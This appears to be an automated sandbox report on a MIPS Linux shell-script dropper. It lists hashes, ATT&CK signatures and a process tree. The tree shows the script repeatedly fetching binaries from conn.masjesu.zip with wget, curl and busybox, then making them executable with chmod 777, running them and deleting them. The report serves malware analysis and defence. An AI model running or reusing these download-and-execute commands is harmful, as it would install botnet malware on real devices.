143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816

Analysis

max time kernel
100s
max time network
101s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
22/11/2024, 02:07

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816.sh
Size 10KB
Sample241122-ckapxaskbz
SHA256 143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816
MD5 97ffaecbf363475e19dcf85ba3b90269
SHA1 85bc9adc6dcf8b605334fc3966dc3924cb6af00f
SHA512 344e97b4547b4a4047d5707f58dd65ee24c87adcc076227e2598d98e8facc87e6dfb5fd1538ce835157bbc91335798e5b6ecba8c152eaa77eb8182ae72165cf4
SSDEEP 192:2+uMV803qWtvH7wJpfWS1TQAfH7wJptWS1TQAh803qW/:2+uMV803qWtvH7wJpfWS1TQAfH7wJptv
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
916	chmod
930	chmod
965	chmod
979	chmod
853	chmod
874	chmod
881	chmod
909	chmod
1007	chmod
860	chmod
740	chmod
958	chmod
1000	chmod
806	chmod
937	chmod
944	chmod
972	chmod
986	chmod
764	chmod
888	chmod
923	chmod
951	chmod
747	chmod
867	chmod
902	chmod
993	chmod
846	chmod
895	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 64 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
962	curl
997	curl
1004	curl
856	wget
892	curl
870	wget
880	busybox
927	curl
971	busybox
989	wget
744	curl
809	wget
976	curl
898	wget
982	wget
1006	busybox
738	busybox
877	wget
849	wget
850	curl
905	wget
906	curl
954	wget
975	wget
730	curl
743	wget
812	busybox
908	busybox
919	wget
936	busybox
968	wget
794	curl
803	busybox
957	busybox
899	curl
922	busybox
885	curl
933	wget
961	wget
992	busybox
751	curl
920	curl
887	busybox
940	wget
955	curl
969	curl
985	busybox
996	wget
750	wget
859	busybox
891	wget
915	busybox
758	busybox
857	curl
873	busybox
964	busybox
901	busybox
990	curl
999	busybox
810	curl
852	busybox
884	wget
978	busybox
912	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	curl
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	curl
File opened for modification	/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	curl
File opened for modification	/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	curl
File opened for modification	/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	curl
File opened for modification	/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	curl
File opened for modification	/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	curl
File opened for modification	/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	curl
File opened for modification	/tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1	curl
File opened for modification	/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	curl
File opened for modification	/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	curl
File opened for modification	/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	curl
File opened for modification	/tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8	curl
File opened for modification	/tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo	curl
File opened for modification	/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	curl
File opened for modification	/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	curl
File opened for modification	/tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc	curl
File opened for modification	/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	curl
File opened for modification	/tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo	curl
File opened for modification	/tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh	curl
File opened for modification	/tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE	curl
File opened for modification	/tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa	curl
File opened for modification	/tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0	curl
File opened for modification	/tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O	curl
File opened for modification	/tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N	curl
File opened for modification	/tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd	curl
File opened for modification	/tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn	curl
File opened for modification	/tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC	curl

/tmp/143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816.sh
/tmp/143bc34378197c016b777130dfe14083b0c466111fc3c0215e6c93728fd2f816.sh
1⤵
PID:709
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:712
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - System Network Configuration Discovery
  PID:738
- /bin/chmod
  chmod 777 bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  ./bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:742
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - System Network Configuration Discovery
  PID:743
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:746
- /bin/chmod
  chmod 777 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  ./4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:749
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - System Network Configuration Discovery
  PID:750
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - System Network Configuration Discovery
  PID:758
- /bin/chmod
  chmod 777 SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - File and Directory Permissions Modification
  PID:764
- /tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  ./SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Executes dropped EXE
  PID:765
- /bin/rm
  rm SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:768
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:769
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:794
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - System Network Configuration Discovery
  PID:803
- /bin/chmod
  chmod 777 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  ./2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:808
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - System Network Configuration Discovery
  PID:809
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - System Network Configuration Discovery
  PID:812
- /bin/chmod
  chmod 777 ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - File and Directory Permissions Modification
  PID:846
- /tmp/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  ./ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Executes dropped EXE
  PID:847
- /bin/rm
  rm ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  PID:848
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - System Network Configuration Discovery
  PID:849
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - System Network Configuration Discovery
  PID:852
- /bin/chmod
  chmod 777 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  ./6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:855
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - System Network Configuration Discovery
  PID:856
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - System Network Configuration Discovery
  PID:859
- /bin/chmod
  chmod 777 UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  ./UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:866
- /bin/chmod
  chmod 777 w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  ./w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:869
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - System Network Configuration Discovery
  PID:870
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - System Network Configuration Discovery
  PID:873
- /bin/chmod
  chmod 777 YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  ./YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm YNvJp06lMns3pzYeR0mHP1LZpgBZy20M3O
  2⤵
  PID:876
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - System Network Configuration Discovery
  PID:877
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - System Network Configuration Discovery
  PID:880
- /bin/chmod
  chmod 777 kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  ./kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm kpkmgj6mpoYV9xOeai9Jaw9Y6y5Ck0C8Vd
  2⤵
  PID:883
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - System Network Configuration Discovery
  PID:884
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - System Network Configuration Discovery
  PID:887
- /bin/chmod
  chmod 777 EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  ./EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  - Executes dropped EXE
  PID:889
- /bin/rm
  rm EDXq9QO2H36q1NLq4b3sHx2cdJ1orCOMzn
  2⤵
  PID:890
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - System Network Configuration Discovery
  PID:891
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:892
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:894
- /bin/chmod
  chmod 777 PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  ./PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  - Executes dropped EXE
  PID:896
- /bin/rm
  rm PtBaFeWAKtQAAcRG2vii4G5wbkorU5YlQa
  2⤵
  PID:897
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - System Network Configuration Discovery
  PID:898
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:899
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - System Network Configuration Discovery
  PID:901
- /bin/chmod
  chmod 777 FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/FpXVAafXBm72J4SxspUiJafBZymFJomITC
  ./FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm FpXVAafXBm72J4SxspUiJafBZymFJomITC
  2⤵
  PID:904
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - System Network Configuration Discovery
  PID:905
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - System Network Configuration Discovery
  PID:908
- /bin/chmod
  chmod 777 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  ./2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm 2BMB1TxTaSdnUB03cQZsqeIjob49T7RCzo
  2⤵
  PID:911
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - System Network Configuration Discovery
  PID:915
- /bin/chmod
  chmod 777 SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  ./SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm SAjOLsPJ0MvDR1vLpVjGm4x5dWKMbA0wUc
  2⤵
  PID:918
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - System Network Configuration Discovery
  PID:919
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - System Network Configuration Discovery
  PID:922
- /bin/chmod
  chmod 777 bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  ./bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm bYYjfJDtDx5ucZ3I79gjd2Wp0s5aAjAIF1
  2⤵
  PID:925
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:929
- /bin/chmod
  chmod 777 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  ./4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm 4yWshDUEGJcWvukLHUCei2M7mgCHgEAW5N
  2⤵
  PID:932
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - System Network Configuration Discovery
  PID:933
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:934
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - System Network Configuration Discovery
  PID:936
- /bin/chmod
  chmod 777 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - File and Directory Permissions Modification
  PID:937
- /tmp/6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  ./6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  - Executes dropped EXE
  PID:938
- /bin/rm
  rm 6WuWQlFaAtpRdxhmKIh63gLnoErdNcu0Rh
  2⤵
  PID:939
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - System Network Configuration Discovery
  PID:940
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:941
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:943
- /bin/chmod
  chmod 777 UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  ./UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm UBRTlEFaj3De55i1rtrQFpUKOBAD0eAYNo
  2⤵
  PID:946
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:950
- /bin/chmod
  chmod 777 w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - File and Directory Permissions Modification
  PID:951
- /tmp/w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  ./w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  - Executes dropped EXE
  PID:952
- /bin/rm
  rm w7EZ5fU3ak3cTmoYsA7MOHlCPpX78Qhus0
  2⤵
  PID:953
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - System Network Configuration Discovery
  PID:954
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:955
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - System Network Configuration Discovery
  PID:957
- /bin/chmod
  chmod 777 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - File and Directory Permissions Modification
  PID:958
- /tmp/2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  ./2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  - Executes dropped EXE
  PID:959
- /bin/rm
  rm 2oixY0XU0ZaEKXt8iWujvG83hFHuwGTAKE
  2⤵
  PID:960
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - System Network Configuration Discovery
  PID:961
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:962
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
  - System Network Configuration Discovery
  PID:964
- /bin/chmod
  chmod 777 ZDoHsAE5ywQnGFpbnSznDI9DE0ecaVqup8
  2⤵
